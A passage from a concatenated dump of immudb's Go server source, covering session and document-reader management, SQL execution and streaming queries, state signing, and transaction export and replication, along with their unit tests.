"github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/pkg/server/sessions/internal/transactions" "google.golang.org/grpc/metadata" ) // DefaultMaxDocumentReadersCacheSize is the default maximum number of document readers to keep in cache const DefaultMaxDocumentReadersCacheSize = 1 var ( ErrPaginatedDocumentReaderNotFound = errors.New("document reader not found") ) type PaginatedDocumentReader struct { Reader document.DocumentReader // reader to read from Query *protomodel.Query LastPageNumber uint32 // last read page number LastPageSize uint32 // number of items per page } type Session struct { mux sync.RWMutex id string user *auth.User database database.DB creationTime time.Time lastActivityTime time.Time transactions map[string]transactions.Transaction documentReaders *cache.Cache // track searchID to document.DocumentReader log logger.Logger } func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { now := time.Now() lruCache, _ := cache.NewCache(DefaultMaxDocumentReadersCacheSize) return &Session{ id: sessionID, user: user, database: db, creationTime: now, lastActivityTime: now, transactions: make(map[string]transactions.Transaction), log: log, documentReaders: lruCache, } } func (s *Session) NewTransaction(ctx context.Context, opts *sql.TxOptions) (transactions.Transaction, error) { s.mux.Lock() defer s.mux.Unlock() tx, err := transactions.NewTransaction(ctx, opts, s.database, s.id) if err != nil { return nil, err } s.transactions[tx.GetID()] = tx return tx, nil } func (s *Session) RemoveTransaction(transactionID string) error { s.mux.Lock() defer s.mux.Unlock() return s.removeTransaction(transactionID) } // not thread safe func (s *Session) removeTransaction(transactionID string) error { if _, ok := s.transactions[transactionID]; ok { delete(s.transactions, transactionID) return nil } return ErrTransactionNotFound } func (s *Session) CloseDocumentReaders() error { s.mux.Lock() defer s.mux.Unlock() merr := multierr.NewMultiErr() searchIDs := make([]string, 0) if err := s.documentReaders.Apply(func(k, v interface{}) error { searchIDs = append(searchIDs, k.(string)) return nil }); err != nil { s.log.Errorf("Error while removing paginated reader: %v", err) merr.Append(err) } for _, searchID := range searchIDs { if err := s.deleteDocumentReader(searchID); err != nil { s.log.Errorf("Error while removing paginated reader: %v", err) merr.Append(err) } } return merr.Reduce() } func (s *Session) RollbackTransactions() error { s.mux.Lock() defer s.mux.Unlock() merr := multierr.NewMultiErr() for _, tx := range s.transactions { s.log.Debugf("Deleting transaction %s", tx.GetID()) if err := tx.Rollback(); err != nil { s.log.Errorf("Error while rolling back transaction %s: %v", tx.GetID(), err) merr.Append(err) continue } if err := s.removeTransaction(tx.GetID()); err != nil { s.log.Errorf("Error while removing transaction %s: %v", tx.GetID(), err) merr.Append(err) continue } } return merr.Reduce() } func (s *Session) GetID() string { s.mux.Lock() defer s.mux.Unlock() return s.id } func (s *Session) GetTransaction(transactionID string) (transactions.Transaction, error) { s.mux.RLock() defer s.mux.RUnlock() tx, ok := s.transactions[transactionID] if !ok { return nil, transactions.ErrTransactionNotFound } return tx, nil } func GetSessionIDFromContext(ctx context.Context) (string, error) { md, ok := metadata.FromIncomingContext(ctx) if !ok { return "", ErrNoSessionAuthDataProvided } authHeader, ok := md["sessionid"] if !ok || len(authHeader) < 1 { return "", ErrNoSessionAuthDataProvided } sessionID := authHeader[0] if sessionID == "" { return "", ErrNoSessionIDPresent } return sessionID, nil } func GetTransactionIDFromContext(ctx context.Context) (string, error) { md, ok := metadata.FromIncomingContext(ctx) if !ok { return "", ErrNoTransactionAuthDataProvided } authHeader, ok := md["transactionid"] if !ok || len(authHeader) < 1 { return "", ErrNoTransactionAuthDataProvided } transactionID := authHeader[0] if transactionID == "" { return "", ErrNoTransactionIDPresent } return transactionID, nil } func (s *Session) GetUser() *auth.User { s.mux.RLock() defer s.mux.RUnlock() return s.user } func (s *Session) GetDatabase() database.DB { s.mux.RLock() defer s.mux.RUnlock() return s.database } func (s *Session) SetDatabase(db database.DB) { s.mux.Lock() defer s.mux.Unlock() s.database = db } func (s *Session) GetLastActivityTime() time.Time { s.mux.RLock() defer s.mux.RUnlock() return s.lastActivityTime } func (s *Session) SetLastActivityTime(t time.Time) { s.mux.Lock() defer s.mux.Unlock() s.lastActivityTime = t } func (s *Session) GetCreationTime() time.Time { s.mux.RLock() defer s.mux.RUnlock() return s.creationTime } func (s *Session) SetPaginatedDocumentReader(searchID string, reader *PaginatedDocumentReader) { s.mux.Lock() defer s.mux.Unlock() // add the reader to the documentReaders map s.documentReaders.Put(searchID, reader) } func (s *Session) GetDocumentReader(searchID string) (*PaginatedDocumentReader, error) { s.mux.RLock() defer s.mux.RUnlock() // get the io.Reader object for the specified searchID val, err := s.documentReaders.Get(searchID) if err != nil { return nil, ErrPaginatedDocumentReaderNotFound } reader := val.(*PaginatedDocumentReader) return reader, nil } func (s *Session) deleteDocumentReader(searchID string) error { // get the io.Reader object for the specified searchID val, err := s.documentReaders.Get(searchID) if err != nil { return ErrPaginatedDocumentReaderNotFound } reader := val.(*PaginatedDocumentReader) // close the reader err = reader.Reader.Close() s.documentReaders.Pop(searchID) if err != nil { return err } return nil } func (s *Session) DeleteDocumentReader(searchID string) error { s.mux.Lock() defer s.mux.Unlock() return s.deleteDocumentReader(searchID) } func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32, lastPageSize uint32) error { s.mux.Lock() defer s.mux.Unlock() // get the io.Reader object for the specified searchID val, err := s.documentReaders.Get(searchID) if err != nil { return ErrPaginatedDocumentReaderNotFound } reader := val.(*PaginatedDocumentReader) reader.LastPageNumber = lastPage reader.LastPageSize = lastPageSize return nil } func (s *Session) GetDocumentReadersCount() int { s.mux.RLock() defer s.mux.RUnlock() return s.documentReaders.EntriesCount() } ================================================ FILE: pkg/server/sessions/session_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sessions import ( "context" stdos "os" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" ) func TestNewSession(t *testing.T) { sess := NewSession("sessID", &auth.User{}, nil, logger.NewSimpleLogger("test", stdos.Stdout)) require.NotNil(t, sess) require.Less(t, sess.GetCreationTime(), time.Now()) require.Less(t, sess.GetLastActivityTime(), time.Now()) } func TestGetSessionIDFromContext(t *testing.T) { ctx := context.Background() ctx = metadata.NewIncomingContext(ctx, metadata.Pairs("sessionid", "sessionID")) sessionID, err := GetSessionIDFromContext(ctx) require.NoError(t, err) require.Equal(t, sessionID, "sessionID") _, err = GetSessionIDFromContext(metadata.NewIncomingContext(ctx, metadata.Pairs("sessionid", ""))) require.ErrorIs(t, ErrNoSessionIDPresent, err) _, err = GetSessionIDFromContext(context.Background()) require.ErrorIs(t, ErrNoSessionIDPresent, err) _, err = GetSessionIDFromContext(metadata.NewIncomingContext(ctx, metadata.Pairs())) require.ErrorIs(t, ErrNoSessionAuthDataProvided, err) } ================================================ FILE: pkg/server/sever_current_state_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/signer" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/emptypb" ) func TestServerCurrentStateSigned(t *testing.T) { dir := t.TempDir() s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir)) dbRootpath := dir sig, err := signer.NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) stSig := NewStateSigner(sig) s = s.WithOptions(s.Options.WithAuth(false).WithSigningKey("foo")).WithStateSigner(stSig).(*ImmuServer) err = s.loadSystemDatabase(dbRootpath, nil, s.Options.AdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(dbRootpath, nil) require.NoError(t, err) ctx := context.Background() _, _ = s.Set(ctx, &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, }, }, ) state, err := s.CurrentState(ctx, &emptypb.Empty{}) require.NoError(t, err) require.IsType(t, &schema.ImmutableState{}, state) require.IsType(t, &schema.Signature{}, state.Signature) require.NotNil(t, state.Signature.Signature) require.NotNil(t, state.Signature.PublicKey) ecdsaPK, err := signer.UnmarshalKey(state.Signature.PublicKey) require.NoError(t, err) err = signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK) require.NoError(t, err) } ================================================ FILE: pkg/server/sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" ) func (s *ImmuServer) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { db, err := s.getDBFromCtx(ctx, "VerifiableSQLGet") if err != nil { return nil, err } ventry, err := db.VerifiableSQLGet(ctx, req) if err != nil { return nil, err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(ventry.VerifiableTx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return nil, err } ventry.VerifiableTx.Signature = newState.Signature } return ventry, nil } func (s *ImmuServer) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (*schema.SQLExecResult, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "SQLExec") if err != nil { return nil, err } tx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions()) if err != nil { return nil, err } defer tx.Cancel() ntx, ctxs, err := db.SQLExec(ctx, tx, req) if err != nil { return nil, err } if ntx != nil { ntx.Cancel() err = ErrTxNotProperlyClosed } res := &schema.SQLExecResult{ Txs: make([]*schema.CommittedSQLTx, len(ctxs)), OngoingTx: ntx != nil && !ntx.Closed(), } for i, ctx := range ctxs { firstPKs := make(map[string]*schema.SQLValue, len(ctx.FirstInsertedPKs())) lastPKs := make(map[string]*schema.SQLValue, len(ctx.LastInsertedPKs())) for k, n := range ctx.LastInsertedPKs() { lastPKs[k] = &schema.SQLValue{Value: &schema.SQLValue_N{N: n}} } for k, n := range ctx.FirstInsertedPKs() { firstPKs[k] = &schema.SQLValue{Value: &schema.SQLValue_N{N: n}} } res.Txs[i] = &schema.CommittedSQLTx{ Header: schema.TxHeaderToProto(ctx.TxHeader()), UpdatedRows: uint32(ctx.UpdatedRows()), LastInsertedPKs: lastPKs, FirstInsertedPKs: firstPKs, } } return res, err } func (s *ImmuServer) UnarySQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { var sqlRes *schema.SQLQueryResult err := s.sqlQuery(ctx, req, func(res *schema.SQLQueryResult) error { sqlRes = res return nil }) return sqlRes, err } func (s *ImmuServer) sqlQuery(ctx context.Context, req *schema.SQLQueryRequest, send func(*schema.SQLQueryResult) error) error { db, err := s.getDBFromCtx(ctx, "SQLQuery") if err != nil { return err } tx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return err } defer tx.Cancel() reader, err := db.SQLQuery(ctx, tx, req) if err != nil { return err } defer reader.Close() // NOTE: setting batchSize to a value strictly less than db.MaxResultSize() can result in more than one call to srv.Send // for transferring less than db.MaxResultSize() rows. // As a consequence, clients which are still using the old unary rpc version of SQLQuery will get stuck because // they don't know how to handle multiple messages. return s.streamRows(ctx, reader, db.MaxResultSize(), send) } func (s *ImmuServer) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error { return s.sqlQuery(srv.Context(), req, srv.Send) } func (s *ImmuServer) streamRows(ctx context.Context, reader sql.RowReader, batchSize int, send func(*schema.SQLQueryResult) error) error { descriptors, err := reader.Columns(ctx) if err != nil { return err } rows := make([]*schema.Row, batchSize) cols := descriptorsToProtoColumns(descriptors) columnsSent := false err = sql.ReadRowsBatch(ctx, reader, batchSize, func(rowBatch []*sql.Row) error { res := &schema.SQLQueryResult{ Rows: sqlRowsToProto(descriptors, rowBatch, rows), } // columns are only sent within the first message if !columnsSent { res.Columns = cols columnsSent = true } return send(res) }) if err == nil && !columnsSent { return send(&schema.SQLQueryResult{Columns: cols}) } return err } func descriptorsToProtoColumns(descriptors []sql.ColDescriptor) []*schema.Column { cols := make([]*schema.Column, len(descriptors)) for i, des := range descriptors { cols[i] = &schema.Column{Name: des.Selector(), Type: des.Type} } return cols } func sqlRowsToProto(descriptors []sql.ColDescriptor, rows []*sql.Row, outRows []*schema.Row) []*schema.Row { if len(rows) == 0 { return nil } for i, sqlRow := range rows { row := &schema.Row{ Columns: make([]string, len(descriptors)), Values: make([]*schema.SQLValue, len(descriptors)), } for i := range descriptors { row.Columns[i] = descriptors[i].Selector() v := sqlRow.ValuesByPosition[i] _, isNull := v.(*sql.NullValue) if isNull { row.Values[i] = &schema.SQLValue{Value: &schema.SQLValue_Null{}} } else { row.Values[i] = schema.TypedValueToRowValue(v) } } outRows[i] = row } return outRows[:len(rows)] } func (s *ImmuServer) ListTables(ctx context.Context, _ *empty.Empty) (*schema.SQLQueryResult, error) { db, err := s.getDBFromCtx(ctx, "ListTables") if err != nil { return nil, err } return db.ListTables(ctx, nil) } func (s *ImmuServer) DescribeTable(ctx context.Context, req *schema.Table) (*schema.SQLQueryResult, error) { if req == nil { return nil, ErrIllegalArguments } db, err := s.getDBFromCtx(ctx, "DescribeTable") if err != nil { return nil, err } return db.DescribeTable(ctx, nil, req.TableName) } ================================================ FILE: pkg/server/sql_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/emptypb" ) func TestSQLInteraction(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithSigningKey("./../../test/signer/ec1.key") s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() ctx := context.Background() _, err := s.ListTables(ctx, &emptypb.Empty{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.SQLExec(ctx, nil) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.SQLQuery(nil, &ImmuService_SQLQueryServerMock{ctx: ctx}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DescribeTable(ctx, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = s.DescribeTable(ctx, &schema.Table{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.VerifiableSQLGet(ctx, nil) require.ErrorIs(t, err, ErrNotLoggedIn) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) res, err := s.ListTables(ctx, &emptypb.Empty{}) require.NoError(t, err) require.Empty(t, res.Rows) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "BEGIN TRANSACTION"}) require.ErrorIs(t, err, ErrTxNotProperlyClosed) xres, err := s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)"}) require.NoError(t, err) require.Len(t, xres.Txs, 1) res, err = s.DescribeTable(ctx, &schema.Table{TableName: "table1"}) require.NoError(t, err) require.Len(t, res.Rows, 1) xres, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "INSERT INTO table1 (id) VALUES (1),(2),(3)"}) require.NoError(t, err) require.Len(t, xres.Txs, 1) var nRows int err = s.SQLQuery(&schema.SQLQueryRequest{Sql: "SELECT * FROM table1"}, &ImmuService_SQLQueryServerMock{ ctx: ctx, sendFunc: func(sr *schema.SQLQueryResult) error { nRows += len(sr.Rows) return nil }, }) require.NoError(t, err) require.Equal(t, nRows, 3) e, err := s.VerifiableSQLGet(ctx, &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}}, ProveSinceTx: 0, }) require.NoError(t, err) require.NotNil(t, e) _, err = s.VerifiableSQLGet(ctx, &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}}, ProveSinceTx: 100, }) require.ErrorIs(t, err, database.ErrIllegalState) } func TestSQLExecResult(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() ctx := context.Background() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) xres, err := s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, name VARCHAR, PRIMARY KEY id)"}) require.NoError(t, err) require.Len(t, xres.Txs, 1) xres, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "INSERT INTO table2 (name) VALUES ('first'),('second'),('third')"}) require.NoError(t, err) require.Len(t, xres.Txs, 1) require.Equal(t, map[string]*schema.SQLValue{"table2": {Value: &schema.SQLValue_N{N: 1}}}, xres.FirstInsertedPks()) require.Equal(t, map[string]*schema.SQLValue{"table2": {Value: &schema.SQLValue_N{N: 3}}}, xres.LastInsertedPk()) } func TestSQLExecCreateDatabase(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() ctx := context.Background() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1;"}) require.NoError(t, err) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1;"}) require.ErrorContains(t, err, sql.ErrDatabaseAlreadyExists.Error()) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE IF NOT EXISTS db1;"}) require.NoError(t, err) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE IF NOT EXISTS db2;"}) require.NoError(t, err) _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: "CREATE DATABASE db2;"}) require.ErrorContains(t, err, sql.ErrDatabaseAlreadyExists.Error()) } type ImmuService_SQLQueryServerMock struct { grpc.ServerStream sendFunc func(*schema.SQLQueryResult) error ctx context.Context } func (s *ImmuService_SQLQueryServerMock) Send(res *schema.SQLQueryResult) error { return s.sendFunc(res) } func (s *ImmuService_SQLQueryServerMock) Context() context.Context { return s.ctx } ================================================ FILE: pkg/server/state_signer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/signer" ) type StateSigner interface { Sign(state *schema.ImmutableState) error } type stateSigner struct { Signer signer.Signer } func NewStateSigner(signer signer.Signer) *stateSigner { return &stateSigner{ Signer: signer, } } func (sts *stateSigner) Sign(state *schema.ImmutableState) error { if state == nil { return store.ErrIllegalArguments } signature, publicKey, err := sts.Signer.Sign(state.ToBytes()) state.Signature = &schema.Signature{ Signature: signature, PublicKey: publicKey, } return err } ================================================ FILE: pkg/server/state_signer_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "testing" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/signer" "github.com/stretchr/testify/require" ) func TestNewStateSigner(t *testing.T) { s, _ := signer.NewSigner("./../../test/signer/ec3.key") rs := NewStateSigner(s) require.IsType(t, &stateSigner{}, rs) } func TestStateSigner_Sign(t *testing.T) { s, _ := signer.NewSigner("./../../test/signer/ec3.key") stSigner := NewStateSigner(s) state := &schema.ImmutableState{} err := stSigner.Sign(state) require.NoError(t, err) require.IsType(t, &schema.ImmutableState{}, state) } func TestStateSigner_Err(t *testing.T) { s, _ := signer.NewSigner("./../../test/signer/ec3.key") stSigner := NewStateSigner(s) err := stSigner.Sign(nil) require.ErrorIs(t, err, store.ErrIllegalArguments) } ================================================ FILE: pkg/server/stream_replication.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "bytes" "encoding/binary" "strconv" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream" "google.golang.org/grpc/metadata" ) func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer) error { return s.exportTx(req, txsServer, true, make([]byte, s.Options.StreamChunkSize)) } // StreamExportTx implements the bidirectional streaming endpoint used to export transactions func (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { buf := make([]byte, s.Options.StreamChunkSize) for { req, err := stream.Recv() if err != nil { return err } err = s.exportTx(req, stream, false, buf) if err != nil { return err } } } func (s *ImmuServer) exportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer, setTrailer bool, buf []byte) error { if req == nil || req.Tx == 0 || txsServer == nil { return ErrIllegalArguments } db, err := s.getDBFromCtx(txsServer.Context(), "ExportTx") if err != nil { return err } txbs, mayCommitUpToTxID, mayCommitUpToAlh, err := db.ExportTxByID(txsServer.Context(), req) if err != nil { return err } var bCommittedTxID [8]byte state, err := db.CurrentState() if err == nil { binary.BigEndian.PutUint64(bCommittedTxID[:], state.TxId) } // In asynchronous replication, the last committed transaction value is sent to the replica // to enable updating its replication lag. streamMetadata := map[string][]byte{ "committed-txid-bin": bCommittedTxID[:], } if req.ReplicaState != nil { var bMayCommitUpToTxID [8]byte binary.BigEndian.PutUint64(bMayCommitUpToTxID[:], mayCommitUpToTxID) streamMetadata["may-commit-up-to-txid-bin"] = bMayCommitUpToTxID[:] streamMetadata["may-commit-up-to-alh-bin"] = mayCommitUpToAlh[:] if setTrailer { // trailer metadata is kept for backward compatibility // it should not be sent when replication is done with bidirectional streaming // otherwise metadata will get accumulated over time md := metadata.Pairs( "may-commit-up-to-txid-bin", string(bMayCommitUpToTxID[:]), "may-commit-up-to-alh-bin", string(mayCommitUpToAlh[:]), "committed-txid-bin", string(bCommittedTxID[:]), ) txsServer.SetTrailer(md) } } sender := stream.NewMsgSender(txsServer, buf) return sender.Send(bytes.NewReader(txbs), len(txbs), streamMetadata) } func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateTxServer) error { if replicateTxServer == nil { return ErrIllegalArguments } ctx := replicateTxServer.Context() db, err := s.getDBFromCtx(ctx, "ReplicateTx") if err != nil { return err } if s.replicationInProgressFor(db.GetName()) { return ErrReplicationInProgress } var skipIntegrityCheck bool var waitForIndexing bool md, ok := metadata.FromIncomingContext(ctx) if ok { if len(md.Get("skip-integrity-check")) > 0 { skipIntegrityCheck, err = strconv.ParseBool(md.Get("skip-integrity-check")[0]) if err != nil { return err } } if len(md.Get("wait-for-indexing")) > 0 { waitForIndexing, err = strconv.ParseBool(md.Get("wait-for-indexing")[0]) if err != nil { return err } } } receiver := s.StreamServiceFactory.NewMsgReceiver(replicateTxServer) bs, _, err := receiver.ReadFully() if err != nil { return err } hdr, err := db.ReplicateTx(replicateTxServer.Context(), bs, skipIntegrityCheck, waitForIndexing) if err != nil { return err } return replicateTxServer.SendAndClose(hdr) } ================================================ FILE: pkg/server/stream_replication_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "errors" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/metadata" ) func TestExportTxEdgeCases(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() err := s.ExportTx(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) err = s.ExportTx(&schema.ExportTxRequest{Tx: 1}, &immuServiceExportTxServer{}) require.ErrorIs(t, err, ErrNotLoggedIn) ctx := context.Background() lr, err := s.Login(ctx, &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), }) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) err = s.ExportTx(&schema.ExportTxRequest{Tx: 0}, &immuServiceExportTxServer{}) require.ErrorIs(t, err, ErrIllegalArguments) err = s.ExportTx(&schema.ExportTxRequest{Tx: 1}, &immuServiceExportTxServer{}) require.ErrorIs(t, err, ErrNotLoggedIn) } func TestReplicateTxEdgeCases(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() err := s.ReplicateTx(nil) require.ErrorIs(t, err, ErrIllegalArguments) err = s.ReplicateTx(&immuServiceReplicateTxServer{ctx: context.Background()}) require.ErrorIs(t, err, ErrNotLoggedIn) ctx := context.Background() lr, err := s.Login(ctx, &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), }) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) stream := &immuServiceReplicateTxServer{ctx: ctx} err = s.ReplicateTx(stream) require.ErrorContains(t, err, "error") } type immuServiceExportTxServer struct { grpc.ServerStream } func (s *immuServiceExportTxServer) Send(chunk *schema.Chunk) error { return errors.New("error") } func (s *immuServiceExportTxServer) SendAndClose(tx *schema.VerifiableTx) error { return nil } func (s *immuServiceExportTxServer) Recv() (*schema.Chunk, error) { return nil, nil } func (s *immuServiceExportTxServer) Context() context.Context { return context.Background() } type immuServiceReplicateTxServer struct { grpc.ServerStream ctx context.Context } func (s *immuServiceReplicateTxServer) Recv() (*schema.Chunk, error) { return nil, errors.New("error") } func (s *immuServiceReplicateTxServer) SendAndClose(md *schema.TxHeader) error { return nil } func (s *immuServiceReplicateTxServer) Context() context.Context { return s.ctx } ================================================ FILE: pkg/server/stream_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "testing" 